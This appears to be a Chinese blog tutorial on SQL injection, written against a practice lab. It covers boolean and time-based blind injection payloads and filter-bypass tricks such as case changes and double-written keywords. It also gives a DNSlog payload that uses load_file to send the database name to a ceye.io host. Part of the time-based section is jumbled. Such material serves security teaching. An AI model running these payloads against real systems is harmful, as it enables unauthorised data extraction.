SQL初步注入

十二.伪静态注入

伪静态的网站一般在url中存在数字

十三.盲注(布尔型SQL盲注、时间型SQL盲注)

1.布尔型盲注

复制代码
vince' and  ascii(substr(database(),1,1))=112#'

通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称

布尔型盲注基本都是通过ascii码来测试的

2.时间型盲注

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

十四.DNSlog注入

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \<www.jaden.com> 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入

复制代码
select * from member where id=1 and (select load_file(concat('\\\\',(select  database()),'.9fqiop.ceye.io\\abc')))
复制代码
工具:
​
https://github.com/ADOOO/DnslogSqlinj
​
​

十五.SQL工具测试

萝卜头(了解)

Pangolin(穿山甲)

sqlmap(重点)

十六.防御绕过

前端绕过

bp抓包修改后再放包即可绕过

后端绕过

情况一绕过:大小写绕过:SELECT * FROM USERS;

情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。

情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等

相关推荐
蓝天扶光8 分钟前
MySQL的表的约束以及查询
数据库·mysql
genghongsheng13 分钟前
执行flink sql连接clickhouse库
数据库·clickhouse·flink
又是努力搬砖的一年1 小时前
正则表达式
数据库·mysql·正则表达式
DBdoctor官方1 小时前
免费开源!DBdoctor推出开源版系统诊断工具systool
数据库·sql·开源·dbdoctor
Data-Miner1 小时前
数据仓库数据湖湖仓一体解决方案
数据库·数据仓库
雷达学弱狗1 小时前
雷达图像用dB使图像细节更好
数据库
夜色呦1 小时前
汽车界的数字化革命:Spring Boot资讯平台
服务器·数据库·汽车
weixin_SAG2 小时前
7天掌握SQL - 第一天:数据库基础与SQL入门
数据库·sql·oracle
24K老游2 小时前
TDSQL 免密码登录
数据库·mysql
p@nd@2 小时前
Oracle SQL plus设置篇
数据库·oracle·sql plus